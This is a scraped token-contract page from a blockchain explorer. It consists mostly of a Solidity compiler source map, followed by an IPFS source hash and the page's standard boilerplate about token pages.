;;;;;;;;:::i;:::-;;;;;;;;;17452:47;17457:5;17464:7;17492:6;17473:16;:25;17452:4;:47::i;:::-;17282:244;17208:325;17084:449;;;:::o;24825:633::-;24972:1;24956:6;:12;24963:4;24956:12;;;;;;;;;;;;;;;;:17;:41;;;;;24996:1;24977:10;:16;24988:4;24977:16;;;;;;;;;;;;;;;;:20;24956:41;24952:151;;;25027:4;25018:13;;:5;;;;;;;;;;;:13;;;25014:78;;25068:8;;25052:6;:12;25059:4;25052:12;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;25014:78;24952:151;25115:12;25130:8;;;;;;;;;;;25115:23;;25160:5;25149:8;;:16;;;;;;;;;;;;;;;;;;25196:8;;25176:10;:16;25187:4;25176:16;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;25237:1;25221:6;:12;25228:4;25221:12;;;;;;;;;;;;;;;;:17;25217:48;;;25256:9;25240:6;:12;25247:4;25240:12;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;25217:48;25278:12;25305:4;;25293:9;:16;;;;:::i;:::-;25278:31;;25334:3;25327:4;:10;;;;:::i;:::-;25320:17;;25361:4;25348:17;;;;;:::i;:::-;;;25393:9;25376:6;:13;25383:5;25376:13;;;;;;;;;;;;;;;;:26;;;;;;;:::i;:::-;;;;;;;;25433:5;25418:32;;25427:4;25418:32;;;25440:9;25418:32;;;;;;:::i;:::-;;;;;;;;24941:517;;24825:633;;;:::o;2985:173::-;3041:16;3060:6;;;;;;;;;;;3041:25;;3086:8;3077:6;;:17;;;;;;;;;;;;;;;;;;3141:8;3110:40;;3131:8;3110:40;;;;;;;;;;;;3030:128;2985:173;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:::-;198:5;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;152:139;;;;:::o;297:329::-;356:6;405:2;393:9;384:7;380:23;376:32;373:119;;;411:79;;:::i;:::-;373:119;531:1;556:53;601:7;592:6;581:9;577:22;556:53;:::i;:::-;546:63;;502:117;297:329;;;;:::o;632:474::-;700:6;708;757:2;745:9;736:7;732:23;728:32;725:119;;;763:79;;:::i;:::-;725:119;883:1;908:53;953:7;944:6;933:9;929:22;908:53;:::i;:::-;898:63;;854:117;1010:2;1036:53;1081:7;1072:6;1061:9;1057:22;1036:53;:::i;:::-;1026:63;;981:118;632:474;;;;;:::o;1112:619::-;1189:6;1197;1205;1254:2;1242:9;1233:7;1229:23;1225:32;1222:119;;;1260:79;;:::i;:::-;1222:119;1380:1;1405:53;1450:7;1441:6;1430:9;1426:22;1405:53;:::i;:::-;1395:63;;1351:117;1507:2;1533:53;1578:7;1569:6;1558:9;1554:22;1533:53;:::i;:::-;1523:63;;1478:118;1635:2;1661:53;1706:7;1697:6;1686:9;1682:22;1661:53;:::i;:::-;1651:63;;1606:118;1112:619;;;;;:::o;1737:474::-;1805:6;1813;1862:2;1850:9;1841:7;1837:23;1833:32;1830:119;;;1868:79;;:::i;:::-;1830:119;1988:1;2013:53;2058:7;2049:6;2038:9;2034:22;2013:53;:::i;:::-;2003:63;;1959:117;2115:2;2141:53;2186:7;2177:6;2166:9;2162:22;2141:53;:::i;:::-;2131:63;;2086:118;1737:474;;;;;:::o;2217:118::-;2304:24;2322:5;2304:24;:::i;:::-;2299:3;2292:37;2217:118;;:::o;2341:109::-;2422:21;2437:5;2422:21;:::i;:::-;2417:3;2410:34;2341:109;;:::o;2456:185::-;2570:64;2628:5;2570:64;:::i;:::-;2565:3;2558:77;2456:185;;:::o;2647:364::-;2735:3;2763:39;2796:5;2763:39;:::i;:::-;2818:71;2882:6;2877:3;2818:71;:::i;:::-;2811:78;;2898:52;2943:6;2938:3;2931:4;2924:5;2920:16;2898:52;:::i;:::-;2975:29;2997:6;2975:29;:::i;:::-;2970:3;2966:39;2959:46;;2739:272;2647:364;;;;:::o;3017:366::-;3159:3;3180:67;3244:2;3239:3;3180:67;:::i;:::-;3173:74;;3256:93;3345:3;3256:93;:::i;:::-;3374:2;3369:3;3365:12;3358:19;;3017:366;;;:::o;3389:::-;3531:3;3552:67;3616:2;3611:3;3552:67;:::i;:::-;3545:74;;3628:93;3717:3;3628:93;:::i;:::-;3746:2;3741:3;3737:12;3730:19;;3389:366;;;:::o;3761:::-;3903:3;3924:67;3988:2;3983:3;3924:67;:::i;:::-;3917:74;;4000:93;4089:3;4000:93;:::i;:::-;4118:2;4113:3;4109:12;4102:19;;3761:366;;;:::o;4133:::-;4275:3;4296:67;4360:2;4355:3;4296:67;:::i;:::-;4289:74;;4372:93;4461:3;4372:93;:::i;:::-;4490:2;4485:3;4481:12;4474:19;;4133:366;;;:::o;4505:::-;4647:3;4668:67;4732:2;4727:3;4668:67;:::i;:::-;4661:74;;4744:93;4833:3;4744:93;:::i;:::-;4862:2;4857:3;4853:12;4846:19;;4505:366;;;:::o;4877:::-;5019:3;5040:67;5104:2;5099:3;5040:67;:::i;:::-;5033:74;;5116:93;5205:3;5116:93;:::i;:::-;5234:2;5229:3;5225:12;5218:19;;4877:366;;;:::o;5249:118::-;5336:24;5354:5;5336:24;:::i;:::-;5331:3;5324:37;5249:118;;:::o;5373:112::-;5456:22;5472:5;5456:22;:::i;:::-;5451:3;5444:35;5373:112;;:::o;5491:222::-;5584:4;5622:2;5611:9;5607:18;5599:26;;5635:71;5703:1;5692:9;5688:17;5679:6;5635:71;:::i;:::-;5491:222;;;;:::o;5719:210::-;5806:4;5844:2;5833:9;5829:18;5821:26;;5857:65;5919:1;5908:9;5904:17;5895:6;5857:65;:::i;:::-;5719:210;;;;:::o;5935:276::-;6055:4;6093:2;6082:9;6078:18;6070:26;;6106:98;6201:1;6190:9;6186:17;6177:6;6106:98;:::i;:::-;5935:276;;;;:::o;6217:313::-;6330:4;6368:2;6357:9;6353:18;6345:26;;6417:9;6411:4;6407:20;6403:1;6392:9;6388:17;6381:47;6445:78;6518:4;6509:6;6445:78;:::i;:::-;6437:86;;6217:313;;;;:::o;6536:419::-;6702:4;6740:2;6729:9;6725:18;6717:26;;6789:9;6783:4;6779:20;6775:1;6764:9;6760:17;6753:47;6817:131;6943:4;6817:131;:::i;:::-;6809:139;;6536:419;;;:::o;6961:::-;7127:4;7165:2;7154:9;7150:18;7142:26;;7214:9;7208:4;7204:20;7200:1;7189:9;7185:17;7178:47;7242:131;7368:4;7242:131;:::i;:::-;7234:139;;6961:419;;;:::o;7386:::-;7552:4;7590:2;7579:9;7575:18;7567:26;;7639:9;7633:4;7629:20;7625:1;7614:9;7610:17;7603:47;7667:131;7793:4;7667:131;:::i;:::-;7659:139;;7386:419;;;:::o;7811:::-;7977:4;8015:2;8004:9;8000:18;7992:26;;8064:9;8058:4;8054:20;8050:1;8039:9;8035:17;8028:47;8092:131;8218:4;8092:131;:::i;:::-;8084:139;;7811:419;;;:::o;8236:::-;8402:4;8440:2;8429:9;8425:18;8417:26;;8489:9;8483:4;8479:20;8475:1;8464:9;8460:17;8453:47;8517:131;8643:4;8517:131;:::i;:::-;8509:139;;8236:419;;;:::o;8661:::-;8827:4;8865:2;8854:9;8850:18;8842:26;;8914:9;8908:4;8904:20;8900:1;8889:9;8885:17;8878:47;8942:131;9068:4;8942:131;:::i;:::-;8934:139;;8661:419;;;:::o;9086:222::-;9179:4;9217:2;9206:9;9202:18;9194:26;;9230:71;9298:1;9287:9;9283:17;9274:6;9230:71;:::i;:::-;9086:222;;;;:::o;9314:214::-;9403:4;9441:2;9430:9;9426:18;9418:26;;9454:67;9518:1;9507:9;9503:17;9494:6;9454:67;:::i;:::-;9314:214;;;;:::o;9615:99::-;9667:6;9701:5;9695:12;9685:22;;9615:99;;;:::o;9720:169::-;9804:11;9838:6;9833:3;9826:19;9878:4;9873:3;9869:14;9854:29;;9720:169;;;;:::o;9895:305::-;9935:3;9954:20;9972:1;9954:20;:::i;:::-;9949:25;;9988:20;10006:1;9988:20;:::i;:::-;9983:25;;10142:1;10074:66;10070:74;10067:1;10064:81;10061:107;;;10148:18;;:::i;:::-;10061:107;10192:1;10189;10185:9;10178:16;;9895:305;;;;:::o;10206:185::-;10246:1;10263:20;10281:1;10263:20;:::i;:::-;10258:25;;10297:20;10315:1;10297:20;:::i;:::-;10292:25;;10336:1;10326:35;;10341:18;;:::i;:::-;10326:35;10383:1;10380;10376:9;10371:14;;10206:185;;;;:::o;10397:348::-;10437:7;10460:20;10478:1;10460:20;:::i;:::-;10455:25;;10494:20;10512:1;10494:20;:::i;:::-;10489:25;;10682:1;10614:66;10610:74;10607:1;10604:81;10599:1;10592:9;10585:17;10581:105;10578:131;;;10689:18;;:::i;:::-;10578:131;10737:1;10734;10730:9;10719:20;;10397:348;;;;:::o;10751:191::-;10791:4;10811:20;10829:1;10811:20;:::i;:::-;10806:25;;10845:20;10863:1;10845:20;:::i;:::-;10840:25;;10884:1;10881;10878:8;10875:34;;;10889:18;;:::i;:::-;10875:34;10934:1;10931;10927:9;10919:17;;10751:191;;;;:::o;10948:96::-;10985:7;11014:24;11032:5;11014:24;:::i;:::-;11003:35;;10948:96;;;:::o;11050:90::-;11084:7;11127:5;11120:13;11113:21;11102:32;;11050:90;;;:::o;11146:126::-;11183:7;11223:42;11216:5;11212:54;11201:65;;11146:126;;;:::o;11278:77::-;11315:7;11344:5;11333:16;;11278:77;;;:::o;11361:86::-;11396:7;11436:4;11429:5;11425:16;11414:27;;11361:86;;;:::o;11453:153::-;11530:9;11563:37;11594:5;11563:37;:::i;:::-;11550:50;;11453:153;;;:::o;11612:126::-;11662:9;11695:37;11726:5;11695:37;:::i;:::-;11682:50;;11612:126;;;:::o;11744:113::-;11794:9;11827:24;11845:5;11827:24;:::i;:::-;11814:37;;11744:113;;;:::o;11863:307::-;11931:1;11941:113;11955:6;11952:1;11949:13;11941:113;;;12040:1;12035:3;12031:11;12025:18;12021:1;12016:3;12012:11;12005:39;11977:2;11974:1;11970:10;11965:15;;11941:113;;;12072:6;12069:1;12066:13;12063:101;;;12152:1;12143:6;12138:3;12134:16;12127:27;12063:101;11912:258;11863:307;;;:::o;12176:320::-;12220:6;12257:1;12251:4;12247:12;12237:22;;12304:1;12298:4;12294:12;12325:18;12315:81;;12381:4;12373:6;12369:17;12359:27;;12315:81;12443:2;12435:6;12432:14;12412:18;12409:38;12406:84;;;12462:18;;:::i;:::-;12406:84;12227:269;12176:320;;;:::o;12502:180::-;12550:77;12547:1;12540:88;12647:4;12644:1;12637:15;12671:4;12668:1;12661:15;12688:180;12736:77;12733:1;12726:88;12833:4;12830:1;12823:15;12857:4;12854:1;12847:15;12874:180;12922:77;12919:1;12912:88;13019:4;13016:1;13009:15;13043:4;13040:1;13033:15;13183:117;13292:1;13289;13282:12;13306:102;13347:6;13398:2;13394:7;13389:2;13382:5;13378:14;13374:28;13364:38;;13306:102;;;:::o;13414:225::-;13554:34;13550:1;13542:6;13538:14;13531:58;13623:8;13618:2;13610:6;13606:15;13599:33;13414:225;:::o;13645:221::-;13785:34;13781:1;13773:6;13769:14;13762:58;13854:4;13849:2;13841:6;13837:15;13830:29;13645:221;:::o;13872:179::-;14012:31;14008:1;14000:6;13996:14;13989:55;13872:179;:::o;14057:182::-;14197:34;14193:1;14185:6;14181:14;14174:58;14057:182;:::o;14245:223::-;14385:34;14381:1;14373:6;14369:14;14362:58;14454:6;14449:2;14441:6;14437:15;14430:31;14245:223;:::o;14474:224::-;14614:34;14610:1;14602:6;14598:14;14591:58;14683:7;14678:2;14670:6;14666:15;14659:32;14474:224;:::o;14704:122::-;14777:24;14795:5;14777:24;:::i;:::-;14770:5;14767:35;14757:63;;14816:1;14813;14806:12;14757:63;14704:122;:::o;14832:::-;14905:24;14923:5;14905:24;:::i;:::-;14898:5;14895:35;14885:63;;14944:1;14941;14934:12;14885:63;14832:122;:::o

Swarm Source

ipfs://d55d63017302040dcb4d19328797c335ed8ac3dbea9eec7aa74c786170e26297
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.